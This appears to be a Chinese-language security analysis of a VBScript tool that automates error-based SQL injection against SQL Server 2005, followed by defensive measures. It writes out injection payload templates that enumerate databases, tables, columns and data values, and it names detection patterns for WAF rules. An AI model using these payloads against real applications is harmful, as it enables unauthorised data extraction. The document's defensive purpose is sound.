SQL Server 2005 注入輔助腳本安全分析與防禦對策

⚠️ 安全警示： 本文分析的是一款針對 SQL Server 2005 錯誤型注入的自動化利用腳本（VBScript）。僅供安全研究、授權滲透測試、程式碼審計學習使用。未經授權對目標系統進行注入測試屬違法行為，嚴禁用於非法用途。

腳本功能架構

• 支援 GET/POST 兩種提交方式
• 四階段資料枚舉：庫 → 表 → 欄位 → 值
• 核心技術：錯誤型盲注，利用 QUOTENAME() 強制類型轉換觸發錯誤回顯資料
• 結果輸出模式：螢幕顯示（D）或檔案儲存（S）

核心注入 Payload 邏輯

枚舉資料庫

' and quotename(db_name(N))=0--
' and quotename(db_name())=0--          -- 當前庫
' and quotename(user)=0--               -- 當前用戶
' and quotename(system_user)=0--        -- 系統用戶

枚舉資料表

' and (select top 1 quotename(name) from [DB].dbo.sysobjects
     where xtype=char(85) and name not in (select top K name from ...))=0--

枚舉欄位

' and (select top 1 quotename(name) from [DB].dbo.syscolumns
     where id=object_id('[DB].[TABLE]') and name not in (select top K name ...))=0--

枚舉資料值

' and (select top 1 quotename([COL]) from [DB].dbo.[TABLE]
     where [COL] not in (select top K [COL] from ...))=0--

防禦對策（開發與運維必做）

1. 參數化查詢 / 預處理語句：徹底杜絕字串拼接 SQL，所有語言驅動均支援
2. 最小權限原則：Web 應用資料庫帳號僅授 SELECT/INSERT/UPDATE/DELETE，禁 sysadmin、dbo 高權限
3. 錯誤訊息不回顯前端：生產環境關閉詳細錯誤頁面，統一回傳通用錯誤代碼，詳細錯誤寫入安全日誌
4. WAF / 入侵偵測：部署規則攔截 QUOTENAME、db_name()、sysobjects 等特徵 Payload
5. 定期掃描與代碼審計：使用工具（SQLMap、自研掃描器）對上線系統進行授權掃描
6. 輸入驗證與白名單：數字型參數強制轉型、字串參數長度/字元集限制

安全研究者建議

• 在隔離測試環境複現腳本行為，理解錯誤型注入原理
• 改寫為參數化查詢版本驗證修復效果
• 研究 QUOTENAME、CHAR()、TOP ... NOT IN 等技巧在新版 SQL Server (2012+) 的適用性變化

免責聲明： 本文不提供可直接執行的完整惡意代碼，僅作技術原理解析與防禦指引。請遵守當地法律法規，僅在授權範圍內進行安全測試。